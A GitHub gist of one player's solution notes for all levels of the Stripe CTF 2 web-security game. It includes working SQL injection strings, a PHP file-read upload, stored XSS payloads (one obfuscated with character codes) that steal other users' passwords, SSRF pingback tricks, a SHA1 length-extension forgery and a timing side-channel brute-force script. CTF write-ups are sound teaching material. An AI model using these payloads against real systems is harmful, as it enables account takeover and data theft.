Skip to content

Instantly share code, notes, and snippets.

@timothyandrew
Created August 24, 2012 18:24
Show Gist options
  • Save timothyandrew/9fdb1225f26cb151ca60 to your computer and use it in GitHub Desktop.
Save timothyandrew/9fdb1225f26cb151ca60 to your computer and use it in GitHub Desktop.
Stripe CTF2 Notes

Level 0

Use the % as Namespace name and click 'Store my Secret'. The SQL query run is var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"'; where ? gets subbed in by the namespace name. We're using % (the SQL wildcard operator) as the namespace, which shows us all rows in the Secrets table.

The password for Level 1 is mctRrZeTiG

Level 1

The PHP script extracts all the GET parameters into local variable scope AFTER setting $filename.

$filename = 'secret-combination.txt';
extract($_GET);

So I added an extra field to the form using Chrome inspector with the name "filename", and filled it in the form with "/dev/null" I left the attempt field blank.

When I clicked submit, PHP set the $combination variable by:

$combination = trim(file_get_contents($filename));

But filename is now "/dev/null", so $combination is blank. $attempt is blank as well. So I got the contents of level02-password.txt

Password for Level 2 is MNrPZVaxXZ

Level 2

Upload a file test.php with the contents:

<?php
  echo file_get_contents("../password.txt")
?>

Navigate to /uploads/test.php. The password will show up.

Password for Level 3 is dtajgWkovH

Level 3

The SQL query being made is

"""SELECT id, password_hash, salt FROM users
               WHERE username = '{0}' LIMIT 1""".format(username)

We should be able to SQL inject using the username.

Try passing the username as:

bob' OR '1'=1'; --

(The -- at the end comments out the rest of the query)

This shows the message: That's not the password for bob' OR '1'=1'; --! The SQL is running okay, but auth is failing. This means our SQL is getting injected.

We can get a fake record (of sorts) back from the query using UNION.

SELECT id, password_hash, salt FROM users WHERE username = 'somethingthatdoesntexist'
UNION SELECT  '1', 'abcd', 'xyz'  FROM users LIMIT 1;

The above query will return a single record with id set to 1, password_hash set to abcd, and salt set to xyz. We can exploit this.

The python code calculates the hash based on (password + salt), and compares it with password_hash. Let's say we enter a password 'foo' and we have a salt 'bar'. The password hash calculated using SHA256 is c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2.

If we substitute these values in our "fake record", the authentication should pass.

SELECT id, password_hash, salt FROM users WHERE username = 'somethingthatdoesntexist'
UNION SELECT  id, 'c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2', 'bar' FROM users  where username = 'bob';

We can inject this in by passing the username as

somethingthatdoesntexist' UNION SELECT id, 'c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2', 'bar' 
FROM users
WHERE username = 'bob'; --

and the password as 'foo'.

Submitting the form reveals the password.

The password for Level 4 is hzrPMExyee

Level 4

Noticed that karma_password was logging in to the app repeatedly (last_active time kept changing). So I needed to run some code in the context of his session. If I transfer karma to him, he can see my password in plain text. What if my password is a malicious <script> tag that makes karma_fountain transfer karma to me, thereby showing me his password?

This is the script I used (after minifying) as my password:

<script type='text/javascript'>
$(document).ready(function(){
  if($('body').children('p').first().html().indexOf('transfered') < 0){
    if($('body').children('p').eq(1).html().indexOf('karma_fountain') >= 0 || $('body').children('p').eq(0).html().indexOf('karma_fountain') >= 0){
      $('input[name=to]').val('b'); 
      $('input[name=amount]').val('500'); 
      document.forms[0].submit();
    }
  }
});
</script>

I transferred 1 karma to karma_fountain and waited. Soon enough, in my list of registered users, I could see karma_fountain's password.

The password for Level 5 is XkfwjwZVEp

Level 5

Added a php file to the Level 2 server:

 <?php 
     echo("AUTHENTICATED");
 ?>

which lives at https://level02-2.stripe-ctf.com/user-iyibkatjhf/uploads/test.php

In the level05 site, I provided this as the pingback URL and I was authenticated as a user of Level02. I tried passing the URL of the level05 site itself as the pingback URL, but it was erroring out with a 500 Internal Server Error.

To get the pingback URL to the second recursive level of execution of post /*, I passed the pingback URL of the Level02 php file as a GET parameter. The params hash works for both GET and POST parameters.

The pingback url was: https://level05-2.stripe-ctf.com/user-bjkdtbhaic/?pingback=https://level02-2.stripe-ctf.com/user-iyibkatjhf/uploads/test.php

This failed with the error: Remote server responded with: Remote server responded with: AUTHENTICATED. Authenticated as @level02-2.stripe-ctf.com!. Unable to authenticate as @level05-2.stripe-ctf.com.

This happened because the regex authenticated? expects [^\w] after AUTHENTICATED.

So I re-uploaded test.php to level02 with an added newline:

 <?php 
 echo("AUTHENTICATED\n");
 ?>

Rerunning the Level05 form with the same pingback URL successfully authenticated me: Remote server responded with: Remote server responded with: AUTHENTICATED . Authenticated as @level02-2.stripe-ctf.com!. Authenticated as @level05-2.stripe-ctf.com!

The password for Level 6 is qvKUaqYOyP

Level 6

First I tried the same trick as Level 04 – passed as the username when registering. After I made a post, the post stream was escaping this code. What if I put it in reverse script tags?

</script><input></input><script>

This worked…an input field appeared on the post stream.

What about Javascript?

</script><script>alert("Hello");</script><script>

This threw a 500 Internal Server error, because a username can't have a ' or " character. This severely limits the javascript that can be passed in. What about a number?

</script><script>alert(5);</script><script>

This works. The alert shows up when I visit the new post page.

So I need some way to encode my Javascript so it doesn't contain ANY quote characters. We can use ASCII for this. Convert the entire script into ASCII codes, along with a helper script (that doesn't contain quotes) to reconvert back from the character codes and the eval the result. The script I came up with is:

function convert(inp) {
  full = [];
  for(i=0; i<inp.length; i++){
    full.push(inp[i].charCodeAt(0));
  }
  return full;
}

function create_string(arr){
  str = '</script><script>eval(String.fromCharCode(';
  for(i=0;i<arr.length-1;i++){
    str += arr[i] + ', '
  }
  str += arr[arr.length-1] + '));</script><script>'
  return str;
}

console.log(create_string("PASTE JAVASCRIPT CODE IN HERE"));

I ran this on Node JS with the following Javascript code (minified to one line):

$(document).ready(function() {
  if(jQuery.find('a:contains(\'level07-password-holder (me)i\')').length > 0) { 
    $.get('https://level06-2.stripe-ctf.com/user-hsuponnjai/user_info', function(data) { 
      title = 'password'
      password = $(data).find('tbody').find('td').last().html();
      full = [];
      for(i=0; i<password.length; i++) {
        full.push(password[i].charCodeAt(0));
      }
      
      $('input[name=title]').val('password');
      $('textarea[name=body]').val(full.toString());
      for(i=0;i<6;i++){
        document.forms[0].submit();
      }
    });
  }
});

I need to submit the form 6 times because I need to clear my <script>ed username from the Post Stream (which shows the last 5 posts).

Passing my JS through the character codifier, I get:

</script><script>eval(String.fromCharCode(36, 40, 100, 111, 99, 117, 109, 101, 110, 116, 41, 46, 114, 101, 97, 100, 121, 40, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 105, 102, 40, 106, 81, 117, 101, 114, 121, 46, 102, 105, 110, 100, 40, 34, 97, 58, 99, 111, 110, 116, 97, 105, 110, 115, 40, 39, 108, 101, 118, 101, 108, 48, 55, 45, 112, 97, 115, 115, 119, 111, 114, 100, 45, 104, 111, 108, 100, 101, 114, 32, 40, 109, 101, 41, 105, 39, 41, 34, 41, 46, 108, 101, 110, 103, 116, 104, 62, 48, 41, 36, 46, 103, 101, 116, 40, 34, 104, 116, 116, 112, 115, 58, 47, 47, 108, 101, 118, 101, 108, 48, 54, 45, 50, 46, 115, 116, 114, 105, 112, 101, 45, 99, 116, 102, 46, 99, 111, 109, 47, 117, 115, 101, 114, 45, 104, 115, 117, 112, 111, 110, 110, 106, 97, 105, 47, 117, 115, 101, 114, 95, 105, 110, 102, 111, 34, 44, 102, 117, 110, 99, 116, 105, 111, 110, 40, 100, 97, 116, 97, 41, 123, 116, 105, 116, 108, 101, 61, 34, 112, 97, 115, 115, 119, 111, 114, 100, 34, 59, 112, 97, 115, 115, 119, 111, 114, 100, 61, 36, 40, 100, 97, 116, 97, 41, 46, 102, 105, 110, 100, 40, 34, 116, 98, 111, 100, 121, 34, 41, 46, 102, 105, 110, 100, 40, 34, 116, 100, 34, 41, 46, 108, 97, 115, 116, 40, 41, 46, 104, 116, 109, 108, 40, 41, 59, 102, 117, 108, 108, 61, 91, 93, 59, 102, 111, 114, 40, 105, 61, 48, 59, 105, 60, 112, 97, 115, 115, 119, 111, 114, 100, 46, 108, 101, 110, 103, 116, 104, 59, 105, 43, 43, 41, 102, 117, 108, 108, 46, 112, 117, 115, 104, 40, 112, 97, 115, 115, 119, 111, 114, 100, 91, 105, 93, 46, 99, 104, 97, 114, 67, 111, 100, 101, 65, 116, 40, 48, 41, 41, 59, 36, 40, 34, 105, 110, 112, 117, 116, 91, 110, 97, 109, 101, 61, 116, 105, 116, 108, 101, 93, 34, 41, 46, 118, 97, 108, 40, 34, 112, 97, 115, 115, 119, 111, 114, 100, 34, 41, 59, 36, 40, 34, 116, 101, 120, 116, 97, 114, 101, 97, 91, 110, 97, 109, 101, 61, 98, 111, 100, 121, 93, 34, 41, 46, 118, 97, 108, 40, 102, 117, 108, 108, 46, 116, 111, 83, 116, 114, 105, 110, 103, 40, 41, 41, 59, 102, 111, 114, 40, 105, 61, 48, 59, 105, 60, 54, 59, 105, 43, 43, 41, 100, 111, 99, 117, 109, 101, 110, 116, 46, 102, 111, 114, 109, 115, 91, 48, 93, 46, 115, 117, 98, 109, 105, 116, 40, 41, 125, 41, 125, 41, 59));</script><script>

This is a version of the JS I CAN pass into the server because it contains no quotes!

I make a new user with the username as the above block of code, and then make a post by that user. I then logout. I make another new user with a normal name (Tim, in my case) and wait for level07-password-holder to exec my js and post to the post stream.

After a few minutes I get 5 posts in my post stream which look like:

These are the character codes for level07-password-holder's password. I convert them back to normal characters using this script:

function rev_convert(inp) {
  full = new String();
  for(i=0; i<inp.length; i++){
    full += String.fromCharCode(inp[i]);
  }
  return full;
}

And I get the password for level07. :) It is 'cdKRKGbKUEaY"

Level 7

The signature is calculated as SHA(secret + message_body) Looking through the logs, I see that the user with user_id 1 has ordered a 'chicken' waffle. That probably means he is a premium subscriber. I can't authenticate as him, but I know his signature for the message body count=2&lat=37.351&user_id=1&long=-119.827&waffle=chicken is b0853fe484076433b4412b677ad0b022c338f1a3

I can modify client.py to send the request with the above parameters.

body = 'count=2&lat=37.351&user_id=1&long=-119.827&waffle=chicken'
body += '|sig:' + 'b0853fe484076433b4412b677ad0b022c338f1a3'
resp = requests.post(self.endpoint + path, data=body)

If I run client.py, I get the confirmation code for a chicken waffle. Now how do I do this for a liege waffle? None of the logged requests is a request for a liege waffle.

I can exploit the SHA1 hash extension vulnerability to add my own string to the URL.

VN Security has released a Python library for exploiting this vulnerability.

I used sha-padding.py to add the string &waffle=liege to the params while maintaining the same SHA hash.

$ python sha-padding.py 14 'count=2&lat=37.351&user_id=1&long=-119.827&waffle=chicken' b0853fe484076433b4412b677ad0b022c338f1a3 '&waffle=liege'                                                      
new msg: 'count=2&lat=37.351&user_id=1&long=-119.827&waffle=chicken\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x028&waffle=liege'
base64: Y291bnQ9MiZsYXQ9MzcuMzUxJnVzZXJfaWQ9MSZsb25nPS0xMTkuODI3JndhZmZsZT1jaGlja2VugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI4JndhZmZsZT1saWVnZQ==
new sig: 7c78886b5f0d2de9535395f0877842009635bb3b

I used the new message and signature as the body in client.py, and sent the request.

And I got 2 liege waffles delivered to me. :) The password is UTbkObjtay.

Level 8

The primary server asks all the chunk servers (in order) for a true/false for a chunk. When it gets a 'false', it doesn't ask the remaining chunk servers, but waits for a bit (to avoid timing attacks) and then sends a response via TCP. Each TCP connection is assigned a sequential socket port. If the port assigned to the first chunk server is 1, and it responds with false, the port assigned to the web hook response will be 2. However if the first chunk server responds with true, the query to the second chunk server will be assigned the port 2, and the web hook response will be assigned the port 3. By looking at the diffs between ports received at the web hooks for subsequent requests, it is possible to guess how many chunk servers have been accessed (and therefore the validity of the current chunk).

import string,cgi,time,httplib
import os
from os import curdir, sep
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urlparse
import sys

current_try = -1
last_port = 0
count = 0
webhookport = 9394
all_tries = range(1000)

class HandleWebhookIncomingPost(BaseHTTPRequestHandler):
    def do_POST(self):
        global last_port, count, current_try, all_tries, safe
        varLen = int(self.headers['Content-Length'])
        postVars = self.rfile.read(varLen)
        self.send_response(200)
        self.send_header('Content-type',    'text/plain')
        self.end_headers()
        self.wfile.write("POST OK\n");
        self.wfile.write("Data: "+str(postVars));
        
        diff = self.client_address[1] - last_port
        print "[623][422][941][" + str(current_try).zfill(3) + "]",
        print "port: " + str(self.client_address[1]) + "; ",
        print "diff: " + str(diff)

        if diff == 2:
            all_tries.remove(current_try)
            current_try += 1
            count = 0
        elif count == 20:
            print("SOLUTION! It is " + str(current_try) + "\n")
            sys.exit(0)
        else:
            print("Retrying. Diff is not 4.\n")

        last_port = self.client_address[1] 
        count += 1

        return

def new_level8_post():
    global last_port, count, current_try, all_tries
    conn = httplib.HTTPSConnection('level08-3.stripe-ctf.com', 443)
    testn = str(current_try).zfill(3) + "000000000"
    print "Testing : " + testn
    conn.request("POST", "/user-klmyxmliuz/", '{"password": "' + testn + '", "webhooks": ["10.0.2.134:' + str(webhookport) + '"] }')
    conn.close()


def main():
    try:
        server = HTTPServer(('', webhookport), HandleWebhookIncomingPost)
        print 'Starting the webhook server.'
        server.serve_forever()
    except KeyboardInterrupt:
        print 'Closing...'
        server.socket.close()

if __name__ == '__main__':
    main()

In the first case, if the port diff between two consecutive requests is 2, that means the first chunk server responds with false. This is an instant fail. If the above code finds a port diff between two consecutive requests is NOT 2, it retries the request for that same chunk 9 more times. If the diff is NOT 2 for all 9 retries, that chunk is the right chunk.

Rinse and repeat for subsequent chunks (the insta-fail port diff number will be incremented each time.)

The password is 623422941004

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment